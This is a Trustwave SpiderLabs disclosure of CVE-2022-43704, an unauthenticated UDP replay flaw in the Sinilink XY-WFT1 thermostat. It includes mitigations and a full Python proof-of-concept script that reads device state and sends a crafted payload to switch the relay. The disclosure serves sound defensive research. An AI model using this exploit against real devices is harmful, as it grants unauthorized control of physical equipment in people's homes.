SpiderLabs Blog

CVE-2022-43704 - Capture-Replay Vulnerability in Sinilink XY-WFT1 Thermostat | Trustwave

Written by Victor Hanna | Jan 12, 2023 6:00:00 AM

Trustwave SpiderLabs has found a vulnerability in the Sinilink XY-WFT1 Remote WiFi home Thermostat. When running firmware V1.3.6, it allows an attacker to replay the same data or similar data, possibly allowing an attacker to control the device attached to the relay without requiring authentication.

This blog describes a channel accessible by non-endpoint/authentication bypass vulnerability in the targeted device, which under the correct circumstances, could allow an attacker to fully control the target, circumventing the need to authenticate using the associated mobile application. This vulnerability capitalizes on the lack of endpoint verification, which grants an attacker the ability to send commands to the targeted device directly over User Datagram Protocol (UDP).

As of now, the device is not being exploited in the wild.

Why This is Important

The Internet of Things (IoT) and Industrial Internet of Things (IIoT) can be thought of as technological cousins, where the former refers to smart devices used within the consumer or end-user space, and the latter is used within the industrial sector to suit a specific purpose. The rise of these types of devices is primarily driven by the need for convenience and the demand for automation.

The overlap of consumer and industrial industries illuminates the need to better understand security-related issues in these overlapping sectors. One such device that fits into this sector overlap is the Sinilink WiFi Remote Thermostat.

Target

The Sinilink XY-WFT1 Remote WIFI Thermostat is an embedded board/relay/thermostat which, under normal operation, is used to sense the temperature and adjust the thermostat accordingly by opening or closing an on-board relay. This relay would typically be connected to a component that the attacker is looking to further control.

Figure 1: Sinilink XY-WFTX WIFI Remote Thermostat

Attack Surface

The targeted device allows for the control of a physical relay and uses Message Queuing Telemetry Transport (MQTT) to transmit messages to an MQTT broker hosted within the cloud. Under normal operations, a mobile application will publish and subscribe using MQTT through an MQTT broker. MQTT configuration changes to MQTT client (in this case the thermostat) will be communicated and published to the MQTT broker. The MQTT client (thermostat) will then listen for these changes through MQTT subscription messages and make the relevant changes to its execution. The state of the MQTT client (thermostat) is also communicated to the mobile application through Sinilink messages over UDP/1024.  

Figure 2: Attack Surface Map

Vulnerability

The Sinilink XY-WFT1 Remote WIFI Thermostat, running firmware V1.3.6 allows for an attacker to replay the same data or similar data. This allows the attacker to control the device attached to the relay without requiring authentication.

Findings

The device relay can be directly controlled, outside of the mobile application without establishing MQTT communication with the MQTT broker. Instead, it is possible to directly communicate to the targeted device over UDP/1024. Through these direct communications, an attacker can bypass authentication used by the Mobile Application and circumvent the need for MQTT end-to-end communications by replaying crafted MQTT ‘publish’ style messages directly to the targeted device.

To successfully conduct this exploit, the device needs to be setup with an initial pre-requisite configuration as illustrated below:

Figure 3: Sensor Pre-requisite Configuration

Communications Flow

  1. Mobile Application WebSocket Setup:
    • The mobile application sends an HTTP GET request to build the WebSocket.
    • The HTTP 101 response contains a ‘Connection: upgrade’ header. This informs the application that the session will now switch protocols to WebSocket.
    • The mobile application establishes a WebSocket session over TCP/8085.
    • All MQTT traffic is now ‘tunnelled’ via the established WebSocket.

Figure 4: WebSocket Initial Setup

  1. Sinilink WiFi Thermostat State Information Exchange:
    • The targeted device (MQTT Client) establishes an MQTT connection over TCP/1884.
    • It publishes its state information over this channel to the MQTT Broker.
    • These state changes are reflected within the Mobile Application through MQTT subscribe messages from the MQTT broker.
    • The Mobile Application can also obtain this state information directly from the targeted device using Sinilink requests over UDP/1024 using a ‘SINILINK521’ UDP data payload.

Figure 5: State Information Retrieval over UDP/1024

Figure 6: State Information Retrieved

  1. Under Normal Operations:
    • The state of the Sinilink WiFi Remote Thermostat is published to the MQTT broker over MQTT using TCP/1884.
    • A change made within the mobile application triggers an MQTT client publish message to the MQTT broker (over WebSocket).
    • The MQTT client monitors for these changes using MQTT subscribe messages over TCP/1884.
    • The state of the Sinilink WiFi Remote Thermostat is retrieved by the Mobile Application using Sinilink requests over UDP/1024 via a ‘SINILINK521’ UDP data payload (Figure 6 above).
  1. The Flaw:
    • Using a specially crafted Sinilink request message (UDP/1024), an attacker can manipulate the targeted device directly. This is achieved by resending the updated state message to the targeted device.
    • As seen in Figure 7, this circumvents the need to communicate via the mobile application, bypassing the need for authentication and moreover, MQTT is not needed in this instance to interact with the smart device.
    • The flaw exists because there is no end-to-end verification conducted to ensure that the final request is coming from a trusted source.

Figure 7: Resent UDP data payload

Responsible Disclosure Policy

As a part of Trustwave’s Responsible Disclosure policy, we reached out to the vendor to ensure that a patch was released prior to public disclosure. However, as of the time of this disclosure, no patch has been applied. Given the nature of this attack, it is highly recommended to ensure a defensive in-depth security strategy is taken, which would include a Strong WiFi Encryption and Network Segmentation. These types of controls lessen the likelihood of such attacks.

The following videos show the attack vector employed using a working proof of concept.

Proof of Concept Video

 

Proof of Concept Code

#!/usr/local/bin/python3

# Author: Victor Hanna (SpiderLabs)

# Sinilink WiFi Remote Thermostat

# CWE-300: Channel Accessible by Non-Endpoint

 

import requests

import re

import urllib.parse

from colorama import init

from colorama import Fore, Back, Style

import sys

import os

import time

import socket

import time

from datetime import datetime

 

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

 

# Banner Function

def banner():

    print ("[+]********************************************************************************[+]")

    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t    |")

    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")

    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")

    print ("[+]********************************************************************************[+]")

 

def retrieve_device_info():

 

    SinilinkMsgFromClient = "SINILINK521"

    host = str(sys.argv[1])

    try:

        bytesToSend = str.encode(SinilinkMsgFromClient)

        serverAddressPort = (""+host, 1024)

        bufferSize = 1024

        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)

        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)

        UDPClientSocket.sendto(bytesToSend, serverAddressPort)

        time.sleep(5)

        msgFromServer = UDPClientSocket.recvfrom(bufferSize)

        msg = "Message from Server {}".format(msgFromServer[0])

        MAC = msg[30:47]

        dt = msg[56:66]

        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")

        temp = msg[84:88]

        degree = msg[90:91]

        relay_value = msg[76:77]

        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)

        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)

        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)

        if (relay_value == "1"):

            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)

        else:

            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)

    except:

        print ("Unsuccessful")

 

def send_payload():

    try:

        epoch_time = str(int(time.time()))

        msgFromClient = 'PROWT4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'

        bytesToSend = str.encode(msgFromClient)

        serverAddressPort = (""+host, 1024)

        bufferSize = 1024

        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)

        time.sleep(5)

        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)

        UDPClientSocket.sendto(bytesToSend, serverAddressPort)

        time.sleep(15)

        # UDPClientSocket.close()

    except:

        print ("Unsuccesful")

   

# Main Function

def main():

    os.system('clear')

    banner()

    retrieve_device_info()

    send_payload()

    retrieve_device_info()

 

 

 

if __name__ == "__main__":

    if len(sys.argv)>1:

        host = sys.argv[1]

        main()

    else:

        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

Since there is currently no patch available for this vulnerability, we will be reserving the PoC code until Thursday 19.Jan.2023. That code will be updated in this blog post at that time. 

How to Protect Against Attacks

  • Provide encryption for messages transmitted between all devices within the communications flow. In doing so this mitigates the initial data capture vector.
  • Another preventative measure is to provide timestamping. This can be used to deny any messaging that occurs after a given time period.
  • Verify each device communicating in the flow of traffic. This ensures that messages are not accepted by unknown devices.

Conclusion

It is predicted that the number of connected IoT devices will reach 14.4 billion by the end of 2022. As the number of IoT devices grows year over year, it is important that manufacturers of such devices implement higher standards of security control to help ensure their systems are protected against such attacks. 

As illuminated in this blog, there are many moving parts that encompass a single IoT-based solution, with many of these parts being offloaded to protocols that are not necessarily secure by design. The bypass of innately insecure protocols, through replay attacks, is a viable and common attack vector used in the wild to control targeted systems. With the proliferation of such devices and the increasing uptake in consumption, it is of utmost importance that developers of IoT systems look to better implement secure protocols where feasibly possible.

Reference

TWSL2023-001: Capture-Replay Vulnerability in Sinilink Wifi Remote Thermostat